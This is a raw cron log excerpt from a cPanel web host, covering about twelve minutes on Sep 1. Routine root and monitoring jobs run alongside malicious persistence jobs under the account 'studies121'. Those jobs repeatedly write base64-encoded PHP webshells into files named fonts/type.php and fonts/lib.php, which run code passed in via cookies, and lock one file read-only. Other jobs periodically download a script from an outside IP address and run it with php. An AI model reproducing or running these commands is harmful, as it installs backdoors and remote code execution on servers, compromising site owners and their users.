Sep  1 10:25:01 ip-184-168-122-23 CROND[4886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:25:01 ip-184-168-122-23 CROND[4884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:26:01 ip-184-168-122-23 CROND[5031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:26:01 ip-184-168-122-23 CROND[5033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:26:01 ip-184-168-122-23 CROND[5034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:26:01 ip-184-168-122-23 CROND[5035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:26:01 ip-184-168-122-23 CROND[5036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:27:01 ip-184-168-122-23 CROND[5167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:27:01 ip-184-168-122-23 CROND[5168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:27:01 ip-184-168-122-23 CROND[5169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:27:01 ip-184-168-122-23 CROND[5170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:28:01 ip-184-168-122-23 CROND[5365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:28:01 ip-184-168-122-23 CROND[5366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:28:01 ip-184-168-122-23 CROND[5369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:28:01 ip-184-168-122-23 CROND[5371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:28:01 ip-184-168-122-23 CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:29:01 ip-184-168-122-23 CROND[5491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:29:01 ip-184-168-122-23 CROND[5494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:29:01 ip-184-168-122-23 CROND[5493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:29:01 ip-184-168-122-23 CROND[5495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:30:02 ip-184-168-122-23 CROND[5639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:30:02 ip-184-168-122-23 CROND[5641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:30:02 ip-184-168-122-23 CROND[5645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:30:02 ip-184-168-122-23 CROND[5647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:30:02 ip-184-168-122-23 CROND[5652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:30:02 ip-184-168-122-23 CROND[5650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:30:02 ip-184-168-122-23 CROND[5649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:30:02 ip-184-168-122-23 CROND[5651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:31:01 ip-184-168-122-23 CROND[5765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:31:01 ip-184-168-122-23 CROND[5767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:31:01 ip-184-168-122-23 CROND[5769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:31:01 ip-184-168-122-23 CROND[5770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:31:01 ip-184-168-122-23 CROND[5768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:32:01 ip-184-168-122-23 CROND[5877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:32:01 ip-184-168-122-23 CROND[5876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:32:01 ip-184-168-122-23 CROND[5878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:32:01 ip-184-168-122-23 CROND[5882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:32:01 ip-184-168-122-23 CROND[5884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:33:01 ip-184-168-122-23 CROND[6069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:33:01 ip-184-168-122-23 CROND[6070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:33:01 ip-184-168-122-23 CROND[6072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:33:01 ip-184-168-122-23 CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:34:01 ip-184-168-122-23 CROND[6234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:34:01 ip-184-168-122-23 CROND[6236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:34:01 ip-184-168-122-23 CROND[6238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:34:01 ip-184-168-122-23 CROND[6237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:34:01 ip-184-168-122-23 CROND[6239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:35:01 ip-184-168-122-23 CROND[6372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:35:02 ip-184-168-122-23 CROND[6374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:35:02 ip-184-168-122-23 CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:35:02 ip-184-168-122-23 CROND[6380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:35:02 ip-184-168-122-23 CROND[6378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:35:02 ip-184-168-122-23 CROND[6379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:35:02 ip-184-168-122-23 CROND[6375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:35:02 ip-184-168-122-23 CROND[6381]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 10:36:01 ip-184-168-122-23 CROND[6499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:36:01 ip-184-168-122-23 CROND[6501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:36:01 ip-184-168-122-23 CROND[6502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:36:01 ip-184-168-122-23 CROND[6503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:36:01 ip-184-168-122-23 CROND[6504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:37:01 ip-184-168-122-23 CROND[6610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:37:01 ip-184-168-122-23 CROND[6611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:37:01 ip-184-168-122-23 CROND[6615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
